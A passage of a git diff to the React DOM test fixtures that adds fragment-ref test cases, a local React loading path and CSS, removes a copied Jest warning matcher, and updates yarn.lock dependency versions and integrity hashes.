+          <strong>No-op (silent):</strong> focus, focusLast (text nodes cannot
+          receive focus)
+        </p>
+        <p>
+          <strong>Not supported (warns):</strong> observeUsing (observers cannot
+          observe text nodes)
+        </p>
+      </TestCase.ExpectedResult>
+      <GetClientRectsTextOnly />
+      <GetClientRectsMixed />
+      <CompareDocumentPositionTextNodes />
+      <FocusTextOnlyNoop />
+      <ScrollIntoViewTextOnly />
+      <ScrollIntoViewMixed />
+      <ObserveTextOnlyWarning />
+      <EventTextOnly />
+      <EventMixed />
+      <GetRootNodeTextOnly />
+      <GetRootNodeMixed />
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/index.js b/fixtures/dom/src/components/fixtures/fragment-refs/index.js
new file mode 100644
index 000000000000..91160618c808
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/index.js
@@ -0,0 +1,28 @@
+import FixtureSet from '../../FixtureSet';
+import EventListenerCase from './EventListenerCase';
+import EventDispatchCase from './EventDispatchCase';
+import IntersectionObserverCase from './IntersectionObserverCase';
+import ResizeObserverCase from './ResizeObserverCase';
+import FocusCase from './FocusCase';
+import GetClientRectsCase from './GetClientRectsCase';
+import CompareDocumentPositionCase from './CompareDocumentPositionCase';
+import ScrollIntoViewCase from './ScrollIntoViewCase';
+import TextNodesCase from './TextNodesCase';
+
+const React = window.React;
+
+export default function FragmentRefsPage() {
+  return (
+    <FixtureSet title="Fragment Refs">
+      <EventListenerCase />
+      <EventDispatchCase />
+      <IntersectionObserverCase />
+      <ResizeObserverCase />
+      <FocusCase />
+      <GetClientRectsCase />
+      <CompareDocumentPositionCase />
+      <ScrollIntoViewCase />
+      <TextNodesCase />
+    </FixtureSet>
+  );
+}
diff --git a/fixtures/dom/src/index.js b/fixtures/dom/src/index.js
index d5f37f315fe4..a334311be0c4 100644
--- a/fixtures/dom/src/index.js
+++ b/fixtures/dom/src/index.js
@@ -1,21 +1,51 @@
 import './polyfills';
-import loadReact from './react-loader';
+import loadReact, {isLocal} from './react-loader';
 
-loadReact()
-  .then(() => import('./components/App'))
-  .then(App => {
-    const {React, ReactDOM} = window;
-
-    if (typeof window.ReactDOMClient !== 'undefined') {
-      // we are in a React that only supports modern roots
-
-      ReactDOM.createRoot(document.getElementById('root')).render(
-        React.createElement(App.default)
+if (isLocal()) {
+  Promise.all([
+    import('react'),
+    import('react-dom'),
+    import('react-dom/client'),
+  ])
+    .then(([React, ReactDOM, ReactDOMClient]) => {
+      if (
+        React === undefined ||
+        ReactDOM === undefined ||
+        ReactDOMClient === undefined
+      ) {
+        throw new Error(
+          'Unable to load React. Build experimental and then run `yarn dev` again'
+        );
+      }
+      window.React = React;
+      window.ReactDOM = ReactDOM;
+      window.ReactDOMClient = ReactDOMClient;
+    })
+    .then(() => import('./components/App'))
+    .then(App => {
+      window.ReactDOMClient.createRoot(document.getElementById('root')).render(
+        window.React.createElement(App.default)
       );
-    } else {
-      ReactDOM.render(
-        React.createElement(App.default),
-        document.getElementById('root')
-      );
-    }
-  });
+    });
+} else {
+  loadReact()
+    .then(() => import('./components/App'))
+    .then(App => {
+      const {React, ReactDOM} = window;
+      if (
+        typeof window.ReactDOMClient !== 'undefined' &&
+        typeof window.ReactDOMClient.createRoot !== 'undefined'
+      ) {
+        // we are in a React that only supports modern roots
+
+        window.ReactDOMClient.createRoot(
+          document.getElementById('root')
+        ).render(React.createElement(App.default));
+      } else {
+        ReactDOM.render(
+          React.createElement(App.default),
+          document.getElementById('root')
+        );
+      }
+    });
+}
diff --git a/fixtures/dom/src/react-loader.js b/fixtures/dom/src/react-loader.js
index cbfa96fcce5a..e65f5749c0d4 100644
--- a/fixtures/dom/src/react-loader.js
+++ b/fixtures/dom/src/react-loader.js
@@ -68,6 +68,10 @@ function getVersion() {
   return query.version || 'local';
 }
 
+export function isLocal() {
+  return getVersion() === 'local';
+}
+
 export function reactPaths(version = getVersion()) {
   let query = parseQuery(window.location.search);
   let isProduction = query.production === 'true';
diff --git a/fixtures/dom/src/style.css b/fixtures/dom/src/style.css
index cca207772adf..e507014d6829 100644
--- a/fixtures/dom/src/style.css
+++ b/fixtures/dom/src/style.css
@@ -224,7 +224,7 @@ p {
 }
 
 .test-case__body {
-  padding: 10px;
+  padding: 10px 10px 0 10px;
 }
 
 .test-case__desc {
@@ -280,11 +280,17 @@ p {
 
 .test-fixture {
   padding: 20px;
-  margin: 0 -15px; /* opposite of .test-case padding */
+  margin: 0 -10px; /* opposite of .test-case padding */
   background-color: #f4f4f4;
   border-top: 1px solid #d9d9d9;
 }
 
+.test-fixture__controls {
+  margin: -20px -20px 20px -20px;
+  padding: 20px;
+  border: 1px solid #444;
+}
+
 .field-group {
   overflow: hidden;
 }
@@ -309,3 +315,60 @@ th {
 tbody tr:nth-child(even) {
   background: #f0f0f0;
 }
+
+.card-container {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.card {
+  background: white;
+  border-radius: 2px;
+  border: 1px solid rgba(0, 0, 0, 0.24);
+  margin: 10px;
+  padding: 10px;
+}
+
+.observable-card {
+  height: 200px;
+  border: 1px solid black;
+  background: #e0e0e0;
+  padding: 20px;
+  font-size: 18px;
+  overflow: auto;
+  margin-bottom: 50px;
+  position: relative;
+}
+
+.observable-card::after {
+  content: "";
+  position: absolute;
+  top: 50%;
+  left: 0;
+  width: 100%;
+  border-top: 1px dotted red;
+}
+
+.fixed-sidebar {
+  position: fixed;
+  top: 0;
+  left: 0;
+  height: 100%;
+  width: 200px;
+  z-index: 1000;
+  background-color: gray;
+  display: flex;
+  flex-direction: column;
+}
+
+.onscreen {
+  background-color: green;
+}
+
+.highlight-focused-children * {
+  margin-left: 10px;
+}
+
+.highlight-focused-children *:focus {
+  outline: 2px solid green;
+}
diff --git a/fixtures/dom/src/toWarnDev.js b/fixtures/dom/src/toWarnDev.js
deleted file mode 100644
index 6e275241e98f..000000000000
--- a/fixtures/dom/src/toWarnDev.js
+++ /dev/null
@@ -1,284 +0,0 @@
-// copied from scripts/jest/matchers/toWarnDev.js
-'use strict';
-
-const {diff: jestDiff} = require('jest-diff');
-const util = require('util');
-
-function shouldIgnoreConsoleError(format, args) {
-  if (__DEV__) {
-    if (typeof format === 'string') {
-      if (format.indexOf('The above error occurred') === 0) {
-        // This looks like an error addendum from ReactFiberErrorLogger.
-        // Ignore it too.
-        return true;
-      }
-    }
-  } else {
-    if (
-      format != null &&
-      typeof format.message === 'string' &&
-      typeof format.stack === 'string' &&
-      args.length === 0
-    ) {
-      // In production, ReactFiberErrorLogger logs error objects directly.
-      // They are noisy too so we'll try to ignore them.
-      return true;
-    }
-  }
-  // Looks legit
-  return false;
-}
-
-function normalizeCodeLocInfo(str) {
-  return str && str.replace(/at .+?:\d+/g, 'at **');
-}
-
-const createMatcherFor = consoleMethod =>
-  function matcher(callback, expectedMessages, options = {}) {
-    if (__DEV__) {
-      // Warn about incorrect usage of matcher.
-      if (typeof expectedMessages === 'string') {
-        expectedMessages = [expectedMessages];
-      } else if (!Array.isArray(expectedMessages)) {
-        throw Error(
-          `toWarnDev() requires a parameter of type string or an array of strings ` +
-            `but was given ${typeof expectedMessages}.`
-        );
-      }
-      if (
-        options != null &&
-        (typeof options !== 'object' || Array.isArray(options))
-      ) {
-        throw new Error(
-          'toWarnDev() second argument, when present, should be an object. ' +
-            'Did you forget to wrap the messages into an array?'
-        );
-      }
-      if (arguments.length > 3) {
-        // `matcher` comes from Jest, so it's more than 2 in practice
-        throw new Error(
-          'toWarnDev() received more than two arguments. ' +
-            'Did you forget to wrap the messages into an array?'
-        );
-      }
-
-      const withoutStack = options.withoutStack;
-      const warningsWithoutComponentStack = [];
-      const warningsWithComponentStack = [];
-      const unexpectedWarnings = [];
-
-      let lastWarningWithMismatchingFormat = null;
-      let lastWarningWithExtraComponentStack = null;
-
-      // Catch errors thrown by the callback,
-      // But only rethrow them if all test expectations have been satisfied.
-      // Otherwise an Error in the callback can mask a failed expectation,
-      // and result in a test that passes when it shouldn't.
-      let caughtError;
-
-      const isLikelyAComponentStack = message =>
-        typeof message === 'string' && message.includes('\n    in ');
-
-      const consoleSpy = (format, ...args) => {
-        // Ignore uncaught errors reported by jsdom
-        // and React addendums because they're too noisy.
-        if (
-          consoleMethod === 'error' &&
-          shouldIgnoreConsoleError(format, args)
-        ) {
-          return;
-        }
-
-        const message = util.format(format, ...args);
-        const normalizedMessage = normalizeCodeLocInfo(message);
-
-        // Remember if the number of %s interpolations
-        // doesn't match the number of arguments.
-        // We'll fail the test if it happens.
-        let argIndex = 0;
-        format.replace(/%s/g, () => argIndex++);
-        if (argIndex !== args.length) {
-          lastWarningWithMismatchingFormat = {
-            format,
-            args,
-            expectedArgCount: argIndex,
-          };
-        }
-
-        // Protect against accidentally passing a component stack
-        // to warning() which already injects the component stack.
-        if (
-          args.length >= 2 &&
-          isLikelyAComponentStack(args[args.length - 1]) &&
-          isLikelyAComponentStack(args[args.length - 2])
-        ) {
-          lastWarningWithExtraComponentStack = {
-            format,
-          };
-        }
-
-        for (let index = 0; index < expectedMessages.length; index++) {
-          const expectedMessage = expectedMessages[index];
-          if (
-            normalizedMessage === expectedMessage ||
-            normalizedMessage.includes(expectedMessage)
-          ) {
-            if (isLikelyAComponentStack(normalizedMessage)) {
-              warningsWithComponentStack.push(normalizedMessage);
-            } else {
-              warningsWithoutComponentStack.push(normalizedMessage);
-            }
-            expectedMessages.splice(index, 1);
-            return;
-          }
-        }
-
-        let errorMessage;
-        if (expectedMessages.length === 0) {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            this.utils.printReceived(normalizedMessage);
-        } else if (expectedMessages.length === 1) {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            jestDiff(expectedMessages[0], normalizedMessage);
-        } else {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            jestDiff(expectedMessages, [normalizedMessage]);
-        }
-
-        // Record the call stack for unexpected warnings.
-        // We don't throw an Error here though,
-        // Because it might be suppressed by ReactFiberScheduler.
-        unexpectedWarnings.push(new Error(errorMessage));
-      };
-
-      // TODO Decide whether we need to support nested toWarn* expectations.
-      // If we don't need it, add a check here to see if this is already our spy,
-      // And throw an error.
-      const originalMethod = console[consoleMethod];
-
-      // Avoid using Jest's built-in spy since it can't be removed.
-      console[consoleMethod] = consoleSpy;
-
-      try {
-        callback();
-      } catch (error) {
-        caughtError = error;
-      } finally {
-        // Restore the unspied method so that unexpected errors fail tests.
-        console[consoleMethod] = originalMethod;
-
-        // Any unexpected Errors thrown by the callback should fail the test.
-        // This should take precedence since unexpected errors could block warnings.
-        if (caughtError) {
-          throw caughtError;
-        }
-
-        // Any unexpected warnings should be treated as a failure.
-        if (unexpectedWarnings.length > 0) {
-          return {
-            message: () => unexpectedWarnings[0].stack,
-            pass: false,
-          };
-        }
-
-        // Any remaining messages indicate a failed expectations.
-        if (expectedMessages.length > 0) {
-          return {
-            message: () =>
-              `Expected warning was not recorded:\n  ${this.utils.printReceived(
-                expectedMessages[0]
-              )}`,
-            pass: false,
-          };
-        }
-
-        if (typeof withoutStack === 'number') {
-          // We're expecting a particular number of warnings without stacks.
-          if (withoutStack !== warningsWithoutComponentStack.length) {
-            return {
-              message: () =>
-                `Expected ${withoutStack} warnings without a component stack but received ${warningsWithoutComponentStack.length}:\n` +
-                warningsWithoutComponentStack.map(warning =>
-                  this.utils.printReceived(warning)
-                ),
-              pass: false,
-            };
-          }
-        } else if (withoutStack === true) {
-          // We're expecting that all warnings won't have the stack.
-          // If some warnings have it, it's an error.
-          if (warningsWithComponentStack.length > 0) {
-            return {
-              message: () =>
-                `Received warning unexpectedly includes a component stack:\n  ${this.utils.printReceived(
-                  warningsWithComponentStack[0]
-                )}\nIf this warning intentionally includes the component stack, remove ` +
-                `{withoutStack: true} from the toWarnDev() call. If you have a mix of ` +
-                `warnings with and without stack in one toWarnDev() call, pass ` +
-                `{withoutStack: N} where N is the number of warnings without stacks.`,
-              pass: false,
-            };
-          }
-        } else if (withoutStack === false || withoutStack === undefined) {
-          // We're expecting that all warnings *do* have the stack (default).
-          // If some warnings don't have it, it's an error.
-          if (warningsWithoutComponentStack.length > 0) {
-            return {
-              message: () =>
-                `Received warning unexpectedly does not include a component stack:\n  ${this.utils.printReceived(
-                  warningsWithoutComponentStack[0]
-                )}\nIf this warning intentionally omits the component stack, add ` +
-                `{withoutStack: true} to the toWarnDev() call.`,
-              pass: false,
-            };
-          }
-        } else {
-          throw Error(
-            `The second argument for toWarnDev(), when specified, must be an object. It may have a ` +
-              `property called "withoutStack" whose value may be undefined, boolean, or a number. ` +
-              `Instead received ${typeof withoutStack}.`
-          );
-        }
-
-        if (lastWarningWithMismatchingFormat !== null) {
-          return {
-            message: () =>
-              `Received ${
-                lastWarningWithMismatchingFormat.args.length
-              } arguments for a message with ${
-                lastWarningWithMismatchingFormat.expectedArgCount
-              } placeholders:\n  ${this.utils.printReceived(
-                lastWarningWithMismatchingFormat.format
-              )}`,
-            pass: false,
-          };
-        }
-
-        if (lastWarningWithExtraComponentStack !== null) {
-          return {
-            message: () =>
-              `Received more than one component stack for a warning:\n  ${this.utils.printReceived(
-                lastWarningWithExtraComponentStack.format
-              )}\nDid you accidentally pass a stack to warning() as the last argument? ` +
-              `Don't forget warning() already injects the component stack automatically.`,
-            pass: false,
-          };
-        }
-
-        return {pass: true};
-      }
-    } else {
-      // Any uncaught errors or warnings should fail tests in production mode.
-      callback();
-
-      return {pass: true};
-    }
-  };
-
-module.exports = {
-  toLowPriorityWarnDev: createMatcherFor('warn'),
-  toWarnDev: createMatcherFor('error'),
-};
diff --git a/fixtures/dom/yarn.lock b/fixtures/dom/yarn.lock
index d72a492e5e99..d20b81b43615 100644
--- a/fixtures/dom/yarn.lock
+++ b/fixtures/dom/yarn.lock
@@ -7,24 +7,24 @@
   resolved "https://registry.yarnpkg.com/@babel/standalone/-/standalone-7.12.10.tgz#f77f6750d0ab88c7c23234dd2d2f3800f170a573"
   integrity sha512-e3sJ7uwwjiGWv7qeATKrP+Mjltr6JEurPh3yR0dBb9ie2YDnKl52lO82f+Ha+HAtyxTHfsPIXwgFmWKsCT2zOQ==
 
-"@jest/schemas@^29.4.0":
-  version "29.4.0"
-  resolved "https://registry.yarnpkg.com/@jest/schemas/-/schemas-29.4.0.tgz#0d6ad358f295cc1deca0b643e6b4c86ebd539f17"
-  integrity sha512-0E01f/gOZeNTG76i5eWWSupvSHaIINrTie7vCyjiYFKgzNdyEGd12BUv4oNBFHOqlHDbtoJi3HrQ38KCC90NsQ==
+"@jest/schemas@^29.6.3":
+  version "29.6.3"
+  resolved "https://registry.yarnpkg.com/@jest/schemas/-/schemas-29.6.3.tgz#430b5ce8a4e0044a7e3819663305a7b3091c8e03"
+  integrity sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==
   dependencies:
-    "@sinclair/typebox" "^0.25.16"
+    "@sinclair/typebox" "^0.27.8"
 
-"@sinclair/typebox@^0.25.16":
-  version "0.25.21"
-  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.25.21.tgz#763b05a4b472c93a8db29b2c3e359d55b29ce272"
-  integrity sha512-gFukHN4t8K4+wVC+ECqeqwzBDeFeTzBXroBTqE6vcWrQGbEUpHO7LYdG0f4xnvYq4VOEwITSlHlp0JBAIFMS/g==
+"@sinclair/typebox@^0.27.8":
+  version "0.27.8"
+  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.27.8.tgz#6667fac16c436b5434a387a34dedb013198f6e6e"
+  integrity sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==
 
 abab@^1.0.3:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/abab/-/abab-1.0.4.tgz#5faad9c2c07f60dd76770f71cf025b62a63cfd4e"
-  integrity sha1-X6rZwsB/YN12dw9xzwJbYqY8/U4=
+  integrity sha512-I+Wi+qiE2kUXyrRhNsWv6XsjUTBJjSoVSctKNBfLG5zG/Xe7Rjbxf13+vqYHNTwHaFU+FtSlVxOCTiMEVtPv0A==
 
-accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7:
+accepts@~1.3.4:
   version "1.3.7"
   resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
   integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
@@ -32,36 +32,44 @@ accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7:
     mime-types "~2.1.24"
     negotiator "0.6.2"
 
+accepts@~1.3.8:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e"
+  integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==
+  dependencies:
+    mime-types "~2.1.34"
+    negotiator "0.6.3"
+
 acorn-dynamic-import@^2.0.0:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/acorn-dynamic-import/-/acorn-dynamic-import-2.0.2.tgz#c752bd210bef679501b6c6cb7fc84f8f47158cc4"
-  integrity sha1-x1K9IQvvZ5UBtsbLf8hPj0cVjMQ=
+  integrity sha512-GKp5tQ8h0KMPWIYGRHHXI1s5tUpZixZ3IHF2jAu42wSCf6In/G873s6/y4DdKdhWvzhu1T6mE1JgvnhAKqyYYQ==
   dependencies:
     acorn "^4.0.3"
 
 acorn-globals@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-3.1.0.tgz#fd8270f71fbb4996b004fa880ee5d46573a731bf"
-  integrity sha1-/YJw9x+7SZawBPqIDuXUZXOnMb8=
+  integrity sha512-uWttZCk96+7itPxK8xCzY86PnxKTMrReKDqrHzv42VQY0K30PUO8WY13WMOuI+cOdX4EIdzdvQ8k6jkuGRFMYw==
   dependencies:
     acorn "^4.0.4"
 
 acorn-jsx@^3.0.0:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-3.0.1.tgz#afdf9488fb1ecefc8348f6fb22f464e32a58b36b"
-  integrity sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=
+  integrity sha512-AU7pnZkguthwBjKgCg6998ByQNIMjbuDQZ8bb78QAFZwPfmKia8AIzgY/gWgqCjnht8JLdXmB4YxA0KaV60ncQ==
   dependencies:
     acorn "^3.0.4"
 
 acorn@^3.0.4:
   version "3.3.0"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-3.3.0.tgz#45e37fb39e8da3f25baee3ff5369e2bb5f22017a"
-  integrity sha1-ReN/s56No/JbruP/U2niu18iAXo=
+  integrity sha512-OLUyIIZ7mF5oaAUT1w0TFqQS81q3saT46x8t7ukpPjMNk+nbs4ZHhs7ToV8EWnLYLepjETXd4XaCE4uxkMeqUw==
 
 acorn@^4.0.3, acorn@^4.0.4:
   version "4.0.13"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-4.0.13.tgz#105495ae5361d697bd195c825192e1ad7f253787"
-  integrity sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=
+  integrity sha512-fu2ygVGuMmlzG8ZeRJ0bvR41nsAkxxhbyk8bZ1SS521Z7vmgJFTQQlfz/Mp/nJexGBz+v8sC9bM6+lNgskt4Ug==
 
 acorn@^5.0.0, acorn@^5.5.0:
   version "5.7.4"
@@ -81,7 +89,7 @@ address@^1.0.1:
 ajv-keywords@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-2.1.1.tgz#617997fc5f60576894c435f940d819e135b80762"
-  integrity sha1-YXmX/F9gV2iUxDX5QNgZ4TW4B2I=
+  integrity sha512-ZFztHzVRdGLAzJmpUT9LNFLe1YiVOEylcaNpEutM26PVTCtOD919IMfD01CgbRouB42Dd9atjx1HseC15DgOZA==
 
 ajv-keywords@^3.0.0:
   version "3.5.2"
@@ -91,7 +99,7 @@ ajv-keywords@^3.0.0:
 ajv@^5.0.0, ajv@^5.1.5, ajv@^5.2.0:
   version "5.5.2"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-5.5.2.tgz#73b5eeca3fab653e3d3f9422b341ad42205dc965"
-  integrity sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=
+  integrity sha512-Ajr4IcMXq/2QmMkEmSvxqfLN5zGmJ92gHXAeOXq1OekoH2rfDNsgdDoL2f7QaRCy7G/E6TpxBVdRuNraMztGHw==
   dependencies:
     co "^4.6.0"
     fast-deep-equal "^1.0.0"
@@ -111,7 +119,7 @@ ajv@^6.0.1, ajv@^6.12.3:
 align-text@^0.1.1, align-text@^0.1.3:
   version "0.1.4"
   resolved "https://registry.yarnpkg.com/align-text/-/align-text-0.1.4.tgz#0cd90a561093f35d0a99256c22b7069433fad117"
-  integrity sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=
+  integrity sha512-GrTZLRpmp6wIC2ztrWW9MjjTgSKccffgFagbNDOX95/dcjEcYZibYTeaOntySQLcdw1ztBoFkviiUvTMbb9MYg==
   dependencies:
     kind-of "^3.0.2"
     longest "^1.0.1"
@@ -120,19 +128,19 @@ align-text@^0.1.1, align-text@^0.1.3:
 alphanum-sort@^1.0.1, alphanum-sort@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/alphanum-sort/-/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3"
-  integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=
+  integrity sha512-0FcBfdcmaumGPQ0qPn7Q5qTgz/ooXgIyp1rf8ik5bGX8mpE2YHjC0P/eyQvxu1GURYQgq9ozf2mteQ5ZD9YiyQ==
 
 ansi-align@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-2.0.0.tgz#c36aeccba563b89ceb556f3690f0b1d9e3547f7f"
-  integrity sha1-w2rsy6VjuJzrVW82kPCx2eNUf38=
+  integrity sha512-TdlOggdA/zURfMYa7ABC66j+oqfMew58KpJMbUlH3bcZP1b+cBHIHDDn5uH9INsxrHBPjsqM0tDB4jPTF/vgJA==
   dependencies:
     string-width "^2.0.0"
 
 ansi-escapes@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-1.4.0.tgz#d3a8a83b319aa67793662b13e761c7911422306e"
-  integrity sha1-06ioOzGapneTZisT52HHkRQiMG4=
+  integrity sha512-wiXutNjDUlNEDWHcYH3jtZUhd3c4/VojassD8zHdHCY13xbZy2XbW+NKQwA0tWGBVzDA9qEzYwfoSsWmviidhw==
 
 ansi-escapes@^3.0.0:
   version "3.2.0"
@@ -142,22 +150,22 @@ ansi-escapes@^3.0.0:
 ansi-html@0.0.7:
   version "0.0.7"
   resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
-  integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
+  integrity sha512-JoAxEa1DfP9m2xfB/y2r/aKcwXNlltr4+0QSBC4TrLfcxyvepX2Pv0t/xpgGV5bGsDzCYV8SzjWgyCW0T9yYbA==
 
 ansi-regex@^2.0.0, ansi-regex@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
+  integrity sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==
 
 ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.1.tgz#123d6479e92ad45ad897d4054e3c7ca7db4944e1"
+  integrity sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==
 
 ansi-styles@^2.2.1:
   version "2.2.1"
   resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-  integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
+  integrity sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==
 
 ansi-styles@^3.0.0, ansi-styles@^3.2.1:
   version "3.2.1"
@@ -194,10 +202,10 @@ anymatch@^2.0.0:
     micromatch "^3.1.4"
     normalize-path "^2.1.1"
 
-anymatch@~3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142"
-  integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==
+anymatch@~3.1.2:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e"
+  integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==
   dependencies:
     normalize-path "^3.0.0"
     picomatch "^2.0.4"
@@ -205,7 +213,7 @@ anymatch@~3.1.1:
 append-transform@^0.4.0:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/append-transform/-/append-transform-0.4.0.tgz#d76ebf8ca94d276e247a36bad44a4b74ab611991"
-  integrity sha1-126/jKlNJ24keja61EpLdKthGZE=
+  integrity sha512-Yisb7ew0ZEyDtRYQ+b+26o9KbiYPFxwcsxKzbssigzRRMJ9LpExPVUg6Fos7eP7yP3q7///tzze4nm4lTptPBw==
   dependencies:
     default-require-extensions "^1.0.0"
 
@@ -219,7 +227,7 @@ argparse@^1.0.7:
 aria-query@^0.7.0:
   version "0.7.1"
   resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-0.7.1.tgz#26cbb5aff64144b0a825be1846e0b16cfa00b11e"
-  integrity sha1-Jsu1r/ZBRLCoJb4YRuCxbPoAsR4=
+  integrity sha512-0cRIa6yBosWVw5Ozi0D7KWPY2fYiK5ahZp2m2AOVYHLw0haJ6rt8XAZFCQYz2T3V0F8DE+wPopWQacS79MEnRA==
   dependencies:
     ast-types-flow "0.0.7"
     commander "^2.11.0"
@@ -227,14 +235,14 @@ aria-query@^0.7.0:
 arr-diff@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-2.0.0.tgz#8f3b827f955a8bd669697e4a4256ac3ceae356cf"
-  integrity sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=
+  integrity sha512-dtXTVMkh6VkEEA7OhXnN1Ecb8aAGFdZ1LFxtOCoqj4qkyOJMt7+qs6Ahdy6p/NQCPYsRSXXivhSB/J5E9jmYKA==
   dependencies:
     arr-flatten "^1.0.1"
 
 arr-diff@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
+  integrity sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==
 
 arr-flatten@^1.0.1, arr-flatten@^1.1.0:
   version "1.1.0"
@@ -244,22 +252,30 @@ arr-flatten@^1.0.1, arr-flatten@^1.1.0:
 arr-union@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
+  integrity sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==
+
+array-buffer-byte-length@^1.0.1, array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
+  dependencies:
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
 
 array-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/array-equal/-/array-equal-1.0.0.tgz#8c2a5ef2472fd9ea742b04c77a75093ba2757c93"
-  integrity sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM=
+  version "1.0.2"
